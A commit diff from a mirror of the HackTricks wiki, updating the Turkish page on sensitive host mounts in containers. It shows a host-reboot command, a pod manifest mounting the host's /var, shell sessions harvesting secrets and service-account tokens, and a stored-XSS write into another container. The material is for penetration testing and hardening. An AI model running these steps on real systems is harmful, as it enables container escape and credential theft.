mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
b0a78a2c0e
commit
179b049a70
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
@ -1,12 +1,12 @@
|
||||
# Hassas Montajlar
|
||||
# Sensitive Mounts
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`/proc` ve `/sys`'in uygun ad alanı izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı gibi önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc`'un yanlış bir şekilde montajı, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
|
||||
`/proc`, `/sys` ve `/var`'ın uygun namespace izolasyonu olmadan açılması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı da dahil olmak üzere önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışı, ana makine değişikliği veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, `-v /proc:/host/proc` yanlış bir şekilde monte edildiğinde, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve `/host/proc`'u korumasız bırakabilir.
|
||||
|
||||
**Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## procfs Zafiyetleri
|
||||
## procfs Vulnerabilities
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
@ -15,7 +15,7 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) içinde tanımlanmıştır.
|
||||
- Çekirdek dosyası oluşturulduğunda yürütülecek bir program tanımlamaya izin verir; ilk 128 bayt argüman olarak kullanılır. Dosya bir boru `|` ile başlarsa, kod yürütülmesine yol açabilir.
|
||||
- Çekirdek dosyası oluşturulduğunda çalıştırılacak bir program tanımlamaya izin verir; ilk 128 bayt argüman olarak kullanılır. Dosya bir boru `|` ile başlarsa, kod yürütmeye yol açabilir.
|
||||
- **Test ve Sömürü Örneği**:
|
||||
|
||||
```bash
|
||||
@ -38,7 +38,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde referans verilmiştir.
|
||||
- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir küresel bayraktır.
|
||||
- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir global bayraktır.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -58,11 +58,11 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- `CONFIG_IKCONFIG_PROC` etkinse çekirdek yapılandırmasını açığa çıkarabilir.
|
||||
- Saldırganlar için çalışan çekirdekteki zafiyetleri tanımlamak için faydalıdır.
|
||||
- Saldırganlar için çalışan çekirdekteki zafiyetleri tanımlamak için yararlıdır.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Sysrq komutlarını çağırmaya izin verir, bu da ani sistem yeniden başlatmalarına veya diğer kritik eylemlere neden olabilir.
|
||||
- Sysrq komutlarını çağırmaya izin verir, bu da hemen sistem yeniden başlatmalarına veya diğer kritik eylemlere neden olabilir.
|
||||
- **Ana Makineyi Yeniden Başlatma Örneği**:
|
||||
|
||||
```bash
|
||||
@ -77,44 +77,44 @@ echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Çekirdek tarafından dışa aktarılan sembolleri ve adreslerini listeler.
|
||||
- Çekirdek sömürü geliştirme için önemlidir, özellikle KASLR'yi aşmak için.
|
||||
- Adres bilgileri `kptr_restrict` `1` veya `2` olarak ayarlandığında kısıtlanır.
|
||||
- Detaylar [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde.
|
||||
- KASLR'yi aşmak için çekirdek sömürü geliştirmede önemlidir.
|
||||
- Adres bilgisi `kptr_restrict` 1 veya 2 olarak ayarlandığında kısıtlanır.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde detaylar.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Çekirdek bellek cihazı `/dev/mem` ile arayüz sağlar.
|
||||
- Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
|
||||
- Daha fazla bilgi [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) içinde.
|
||||
- Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Sistemin fiziksel belleğini ELF çekirdek formatında temsil eder.
|
||||
- Okuma, ana makine sistemi ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
|
||||
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
|
||||
- Detaylı kullanım [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) içinde.
|
||||
- Detaylı kullanım için [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/) bakınız.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- Çekirdek sanal belleğini temsil eden `/dev/kmem` için alternatif bir arayüzdür.
|
||||
- Okuma ve yazma işlemlerine izin verir, dolayısıyla çekirdek belleğini doğrudan değiştirebilir.
|
||||
- Okuma ve yazma işlemlerine izin verir, dolayısıyla çekirdek belleğini doğrudan değiştirme imkanı sunar.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüzdür.
|
||||
- Okuma ve yazma işlemlerine izin verir, tüm belleği değiştirmek sanal adresleri fiziksel adreslere çözmeyi gerektirir.
|
||||
- Okuma ve yazma işlemlerine izin verir, tüm belleği değiştirmek için sanal adreslerin fiziksel adreslere dönüştürülmesi gerekir.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- PID ad alanı korumalarını atlayarak süreç zamanlama bilgilerini döndürür.
|
||||
- PID namespace korumalarını atlayarak süreç zamanlama bilgilerini döndürür.
|
||||
- Süreç adlarını, kimliklerini ve cgroup tanımlayıcılarını açığa çıkarır.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- Sürecin montaj ad alanındaki montaj noktaları hakkında bilgi sağlar.
|
||||
- Konteyner `rootfs` veya görüntüsünün konumunu açığa çıkarır.
|
||||
- Sürecin mount namespace'inde mount noktaları hakkında bilgi sağlar.
|
||||
- Konteynerin `rootfs` veya görüntüsünün konumunu açığa çıkarır.
|
||||
|
||||
### `/sys` Zafiyetleri
|
||||
### `/sys` Vulnerabilities
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
@ -158,17 +158,103 @@ cat /output %%%
|
||||
#### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`**
|
||||
|
||||
- NVRAM'daki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır.
|
||||
- Yanlış yapılandırma veya sömürü, bozuk dizüstü bilgisayarlara veya başlatılamayan ana makinelerle sonuçlanabilir.
|
||||
- Yanlış yapılandırma veya sömürü, bozuk dizüstü bilgisayarlara veya önyüklenemez ana makinelerle sonuçlanabilir.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs`, çekirdeğe "kural yok" hata ayıklama arayüzü sunar.
|
||||
- Kısıtlanmamış doğası nedeniyle güvenlik sorunları geçmişi vardır.
|
||||
|
||||
### `/var` Vulnerabilities
|
||||
|
||||
Ana makinenin **/var** klasörü, konteyner çalışma soketlerini ve konteynerlerin dosya sistemlerini içerir. Bu klasör bir konteyner içinde monte edilirse, o konteyner diğer konteynerlerin dosya sistemlerine root ayrıcalıklarıyla okuma-yazma erişimi alır. Bu, konteynerler arasında geçiş yapmak, hizmet reddi oluşturmak veya içinde çalışan diğer konteynerler ve uygulamalara arka kapı açmak için kötüye kullanılabilir.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
Eğer böyle bir konteyner Kubernetes ile dağıtılırsa:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
**pod-mounts-var-folder** konteynerinin içinde:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
|
||||
|
||||
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
|
||||
JWT_SECRET=85d<SNIP>a0
|
||||
REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
|
||||
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
XSS şu şekilde gerçekleştirildi:
|
||||
|
||||

|
||||
|
||||
Konteynerin bir yeniden başlatmaya veya başka bir şeye ihtiyaç duymadığını unutmayın. Mounted **/var** klasörü aracılığıyla yapılan herhangi bir değişiklik anında uygulanacaktır.
|
||||
|
||||
Ayrıca, otomatik (veya yarı otomatik) RCE elde etmek için yapılandırma dosyalarını, ikili dosyaları, hizmetleri, uygulama dosyalarını ve shell profillerini değiştirebilirsiniz.
|
||||
|
||||
##### Bulut kimlik bilgilerine erişim
|
||||
|
||||
Konteyner, K8s serviceaccount token'larını veya AWS webidentity token'larını okuyabilir, bu da konteynerin K8s veya buluta yetkisiz erişim elde etmesine olanak tanır.
|
||||
```bash
|
||||
/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
#### Docker
|
||||
|
||||
Docker'da (veya Docker Compose dağıtımlarında) istismar tam olarak aynıdır, tek fark genellikle diğer konteynerlerin dosya sistemlerinin farklı bir temel yol altında mevcut olmasıdır:
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
```
|
||||
Bu nedenle dosya sistemleri `/var/lib/docker/overlay2/` altında bulunmaktadır:
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
#### Not
|
||||
|
||||
Gerçek yollar farklı kurulumlarda farklılık gösterebilir, bu yüzden en iyi seçeneğiniz diğer konteynerlerin dosya sistemlerini bulmak için **find** komutunu kullanmaktır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
- [Linux Konteynerlerini Anlama ve Güçlendirme](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Ayrıcalıklı ve Ayrıcalıksız Linux Konteynerlerini Kötüye Kullanma](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user